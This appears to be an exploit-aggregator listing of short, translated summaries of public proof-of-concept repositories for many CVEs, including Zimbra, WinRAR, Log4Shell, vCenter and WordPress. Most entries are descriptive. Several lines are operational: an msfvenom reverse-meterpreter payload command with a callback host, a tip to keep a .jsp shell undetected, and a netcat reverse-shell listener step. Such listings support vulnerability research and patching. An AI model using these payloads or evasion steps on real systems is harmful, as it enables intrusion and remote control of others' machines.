Zimbra-CVE-2022-30333

Zimbra-CVE-2022-30333 Vulnérabilité Zimbra unrar. Il existe déjà des POC disponibles, il est sûr de publier notre POC. CVE-2022-30333 Vulnérabilité Zimbra UNRAR. Unrar jusqu'à la version 6.11 est vulnérable. Assurez-vous que votre shell .jsp n'est pas détecté. Cet exploit fonctionnera sur Zimbra...

CVE-2025-61882

Oracle E-Business Suite RCE 스캐너 CVE-2025-61882 Oracle E-Business Suite 설치 환경에서 CVE-2025-61882를 탐지하는 빠르고 멀티스레드 기반 대량 스캐너입니다. 이 치명적인 취약점은 인증 없이 원격 코드 실행을 허용합니다. 🎯 주요 기능 대량 스캔 - 파일에서 수백 또는 수천 개의 대상 처리 멀티스레드 - 동시 스캔 수 설정 가능 기본값: 20개 스레드 자동 탐지 - id 명령 실행 및 출력 파싱을 통해 RCE 검증 실시간 결과 - 취약한 대상은...

CVE-2024-22514-Remote-Code-Execution

CVE-2024-22514: Agent DVR 中的远程代码执行 信息 描述 iSpyConnect.com Agent DVR 5.1.6.0 包含一个漏洞，该漏洞允许重定向由警报命令触发的文件。这种修改可使命令功能在程序权限上下文（默认为 root）下触发系统上的任意文件。实现方式为编辑 objects.xml 备份文件中的 EXE 参数路径，以创建经过修改的 objects.xml 文件，随后可通过控制面板将该文件恢复。恢复后的控制面板将保留写入 objects.xml 文件中的新路径，之后可通过警报命令触发该路径。 附加信息 此攻击可与我将提交的另一个 CVE 进行链式利用，...

CVE-2021-22006

CVE-2021-22005 - Загрузка файла на VMWare vCenter Server для удаленного выполнения кода Анализ Использование root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter:...

CVE-2020-6287_RECON-scanner

用于 CVE-2020-6287 RECON 的漏洞评估与失陷指标 IoC 扫描器 RECON（NetWeaver 上的远程可利用代码，Remotely Exploitable Code On NetWeaver）是一个严重影响众多基于 SAP NetWeaver Java 技术栈运行的 SAP 业务和技术应用程序的关键（CVSSv3 10）漏洞。该漏洞由 Onapsis 研究实验室发现，并与 SAP 密切合作，于 2020 年 7 月 14 日开发并发布了补丁。鉴于该问题的严重性，美国 DHS CISA、BSI CERT-Bund 以及其他多个政府机构发布了警报，敦促 SAP...

CVE-2026-9811

CVE-2026-9811 CVE-2026-9811 — это уязвимость типа «межсайтовый скриптинг с сохранением» Stored XSS, затрагивающая Mautic 7 версии с 7.0.0 по 7.1.1. Уязвимость существует в компоненте Project Selector, где имена проектов, возвращаемые через AJAX-запрос, вставляются на страницу без надлежащего...

CVE-2018-20250

设置 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32bit：https://j2c.cc/winrar-550-32bit 操作步骤 Kali： root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows： root@kitploit: git clone...

CVE-2018-8284-Sharepoint-RCE

CVE-2018-8284-Sharepoint-RCE...

CVE-2026-37637

CVE-2026-37637 CVE-2026-37637 에 대한 개념 증명PoC - Alexantr filemanager v1.0 에서 filemanager.php의 무제한 파일 업로드를 통한 원격 코드 실행RCE 개요 CVE-2026-37637 은 Alexantr filemanager v1.0 에 영향을 미치는 원격 코드 실행 취약점입니다. 이 취약점은 filemanager.php 구성 요소에 존재하며, 업로드된 파일에 대한 검증 부족으로 인해 발생합니다. 원격 공격자는 웹에서 접근 가능한 디렉터리에 악성 PHP 파일을 업로드...

cve-2022-22947

Spring Cloud Gateway Actuator API SpEL Кодовая инъекция CVE-2022-22947 Сборка root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC отправьте следующий...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 Эксплойт proof-of-concept, демонстрирующий уязвимость удалённого выполнения кода в приложениях Next.js через загрязнение прототипа prototype pollution в конвейере рендеринга серверных компонентов React. ⚠️ Отказ от ответственности Этот инструмент предназначен только для...

CVE-2021-40531

CVE-2021-40531 Cette preuve de concept en action. Sketch est une application populaire de conception UI/UX pour macOS. Cet article couvre une vulnérabilité dans Sketch que j'ai découverte en juillet, CVE-2021-40531. Dans sa forme la plus simple, il s'agit d'un contournement de la quarantaine macO...

CVE-2020-0688-GUI

1. Objectif du projet et référence L'objectif est simple : récemment, j'ai prévu d'écrire à nouveau un C2 en C, alors j'ai d'abord écrit un petit truc pour m'entraîner et maintenir mon intérêt. J'ai donc pensé à transformer l'outil du maître zcgonvh en une version graphique. Le lien vers l'outil...

poc-yaws-cgi-shell-injection

Внедрение команд ОС в веб-сервере Yaws CVE-2020-24916 Доказательство концепции Соберите тестовый образ: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . и/или Запустите контейнер docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi...

webcgi-exploits

Эксплойты для Web CGI Здесь представлены несколько эксплойтов для разных веб-CGI. Я написал их за последние несколько лет. Как это работает Веб-приложения в основном состоят из таких слоёв: 1. приложения 2. веб-фреймворки 3. движки скриптовых языков 4. веб-контейнерысерверы 5. веб-прокси перед...

rusty_joomla_rce

Rusty Joomla RCE Детали Технические подробности можно найти здесь: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Эксплойт от Chirag Artani https://3rag.com для CVE-2024-11613 в WordPress File Upload Вот информация — Плагин WordPress File Upload для WordPress уязвим к удалённому выполнению кода, произвольному чтению файлов и произвольному удалению файлов во всех версиях до 4.24....

CVE-2021-44228-demo

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近，log4j 中发现了一个新漏洞。log4j 是一个 Java 日志库，广泛应用于 elasticsearch、minecraft 等众多软件中。 本仓库中包含一个存在漏洞的示例应用程序及其概念验证（POC）利用程序。 概念验证 POC 作为一个 PoC，仓库中有一个可自动完成此过程的 Python 文件。 要求： root@kitploit: pip install -r requirements.txt 用法： 启动一个 netcat 监听器以接受反向 shell 连接。...

log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell 漏洞演示项目 这是一个用于学习和研究 Log4j2 远程代码执行漏洞（Log4Shell）的演示项目。 ⚠️ 安全警告 此项目仅用于安全研究和教育目的，请勿在生产环境中使用！ 本项目使用了存在严重安全漏洞的 Log4j 2.14.1 版本。 📋 环境配置 Spring Boot : 2.6.1 Log4j2 : 2.14.1 易受攻击版本 Java : 8 JDK 1.8 🚀 快速开始 1. 编译项目 root@kitploit: ./mvnw clean package 2. 运行应用...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc Очень важно Надеюсь, вы сначала увидите эту ссылку https://github.com/b1tg/CVE-2023-38831-winrar-exploit Я не писал полный эксплойт. Он написал эксплойт. https://github.com/b1tg Всё, что он сделал — это изменил что-то простое, чтобы получить обратную оболоч...